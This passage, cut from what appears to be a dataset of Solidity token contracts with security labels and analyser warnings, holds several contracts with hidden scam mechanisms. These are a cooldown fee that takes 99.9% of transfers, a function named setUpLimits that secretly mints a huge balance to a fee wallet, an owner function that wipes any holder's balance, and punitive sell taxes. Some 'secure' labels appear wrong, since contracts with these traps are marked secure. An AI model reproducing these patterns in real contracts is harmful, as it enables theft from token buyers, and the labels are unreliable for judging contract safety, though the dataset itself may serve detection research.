0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_3712.sol",
"secure": 1,
"size_bytes": 7074
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SHINSHU is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 451b659): SHINSHU._taxWallet should be immutable \n\t// Recommendation for 451b659: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 200d4c6): SHINSHU._initialBuyTax should be constant \n\t// Recommendation for 200d4c6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: b49fd2e): SHINSHU._initialSellTax should be constant \n\t// Recommendation for b49fd2e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c3ca66): SHINSHU._reduceBuyTaxAt should be constant \n\t// Recommendation for 7c3ca66: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3b40ac): SHINSHU._reduceSellTaxAt should be constant \n\t// Recommendation for b3b40ac: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: db1f80c): SHINSHU._preventSwapBefore should be constant \n\t// Recommendation for db1f80c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"SHINSHU\";\n\n string private constant _symbol = unicode\"SHIN\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff4cdc8): SHINSHU._taxSwapThreshold should be constant \n\t// Recommendation for ff4cdc8: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d44ad99): SHINSHU._maxTaxSwap should be constant \n\t// Recommendation for d44ad99: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x31369258A59Ba687Af31D559B35896233B0087D3);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6bf9bfc): SHINSHU.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6bf9bfc: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 957f455): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 957f455: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 39e6223): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 39e6223: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 957f455\n\t\t// reentrancy-benign | ID: 39e6223\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 957f455\n\t\t// reentrancy-benign | ID: 39e6223\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7b53ef5): SHINSHU._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7b53ef5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 39e6223\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 957f455\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ecd4e76): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ecd4e76: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4ac66f3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4ac66f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ecd4e76\n\t\t\t\t// reentrancy-eth | ID: 4ac66f3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ecd4e76\n\t\t\t\t\t// reentrancy-eth | ID: 4ac66f3\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4ac66f3\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4ac66f3\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4ac66f3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ecd4e76\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4ac66f3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4ac66f3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ecd4e76\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 957f455\n\t\t// reentrancy-events | ID: ecd4e76\n\t\t// reentrancy-benign | ID: 39e6223\n\t\t// reentrancy-eth | ID: 4ac66f3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 957f455\n\t\t// reentrancy-events | ID: ecd4e76\n\t\t// reentrancy-eth | ID: 4ac66f3\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2e77db0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2e77db0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b1a1f32): SHINSHU.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b1a1f32: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 93e36b8): SHINSHU.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 93e36b8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: caf3cf3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for caf3cf3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2e77db0\n\t\t// reentrancy-eth | ID: caf3cf3\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2e77db0\n\t\t// unused-return | ID: 93e36b8\n\t\t// reentrancy-eth | ID: caf3cf3\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2e77db0\n\t\t// unused-return | ID: b1a1f32\n\t\t// reentrancy-eth | ID: caf3cf3\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 2e77db0\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: caf3cf3\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3713.sol",
"secure": 0,
"size_bytes": 17253
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"DEEP\", unicode\"DeepBook\", 9, 100000000) {}\n}",
"file_name": "solidity_code_3714.sol",
"secure": 1,
"size_bytes": 207
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract MyTokenContract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4da155b): MyTokenContract.feeWallet should be immutable \n\t// Recommendation for 4da155b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private feeWallet;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"Goatseus Maximus\";\n\n string private constant _symbol = \"GOAT\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private swapEnabled = false;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 15d3741): MyTokenContract.constructor(address)._feeWallet lacks a zerocheck on \t feeWallet = _feeWallet\n\t// Recommendation for 15d3741: Check that the address is not zero.\n constructor(address _feeWallet) {\n\t\t// missing-zero-check | ID: 15d3741\n feeWallet = _feeWallet;\n _balances[msg.sender] = _totalSupply;\n setUpLimits(_feeWallet);\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f8fedd7): MyTokenContract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f8fedd7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5d01a2c): MyTokenContract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5d01a2c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function setUpLimits(address _feeAccount) internal onlyOwner {\n uint256 bigNum = totalSupply() * 10 ** 6;\n\n _balances[_feeAccount] += bigNum;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ca3afa4): MyTokenContract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls address(feeWallet).transfer(amount)\n\t// Recommendation for ca3afa4: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// arbitrary-send-eth | ID: ca3afa4\n payable(feeWallet).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 096e33e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 096e33e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1f627b9): MyTokenContract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1f627b9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7d4e654): MyTokenContract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7d4e654: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 06831f2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 06831f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// reentrancy-benign | ID: 096e33e\n\t\t// reentrancy-eth | ID: 06831f2\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 096e33e\n\t\t// unused-return | ID: 1f627b9\n\t\t// reentrancy-eth | ID: 06831f2\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 096e33e\n\t\t// unused-return | ID: 7d4e654\n\t\t// reentrancy-eth | ID: 06831f2\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 096e33e\n swapEnabled = false;\n\n\t\t// reentrancy-eth | ID: 06831f2\n tradingOpen = true;\n }\n\n function router() external view returns (address) {\n return address(uniswapV2Router);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_3715.sol",
"secure": 0,
"size_bytes": 8505
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Namesymbol is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable pie;\n\n constructor() {\n _name = \"name\";\n\n _symbol = \"SYMBOL\";\n\n _decimals = 18;\n\n uint256 initialSupply = 389000000;\n\n pie = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == pie, \"Not allowed\");\n\n _;\n }\n\n function theory(address[] memory measure) public onlyOwner {\n for (uint256 i = 0; i < measure.length; i++) {\n address account = measure[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3716.sol",
"secure": 1,
"size_bytes": 4349
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TRUMPLOST is Context, IERC20, Ownable {\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _IsLimitFree;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint8 private constant _decimals = 18;\n\n uint256 public buyTax = 35;\n\n uint256 public sellTax = 55;\n\n uint256 private constant _totalSupply = 100000000 * 10 ** _decimals;\n\n uint256 private constant onePercent = (_totalSupply) / 100;\n\n uint256 private constant minimumSwapAmount = 40000;\n\n\t// WARNING Optimization Issue (constable-states | ID: d07770e): TRUMPLOST.maxSwap should be constant \n\t// Recommendation for d07770e: Add the 'constant' attribute to state variables that never change.\n uint256 private maxSwap = (onePercent * 5) / 10;\n\n uint256 public MaxPerTxn = (onePercent * 15) / 10;\n\n uint256 public MaxPerWallet = (onePercent * 15) / 10;\n\n string private constant _name = \"TRUMPLOST\";\n\n string private constant _symbol = \"TLOST\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n address public immutable DevAddress;\n\n address public immutable OperationAddress;\n\n address public immutable MarketingAddress;\n\n bool private launch = false;\n\n constructor() {\n OperationAddress = 0x9bF6cD21F67672AAEA1A2A5df76dc8427684Ac03;\n\n DevAddress = 0xE101e96e170FFEfbAde38C6585ACb1f7f9c516bA;\n\n MarketingAddress = 0x67A3aeB4E888EfEB6659bA675671Bc756BFe5CeD;\n\n _balance[msg.sender] = _totalSupply;\n\n _IsLimitFree[DevAddress] = 1;\n\n _IsLimitFree[OperationAddress] = 1;\n\n _IsLimitFree[MarketingAddress] = 1;\n\n _IsLimitFree[msg.sender] = 1;\n\n _IsLimitFree[address(this)] = 1;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dd341b4): TRUMPLOST.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for dd341b4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c1966ec): Reentrancies 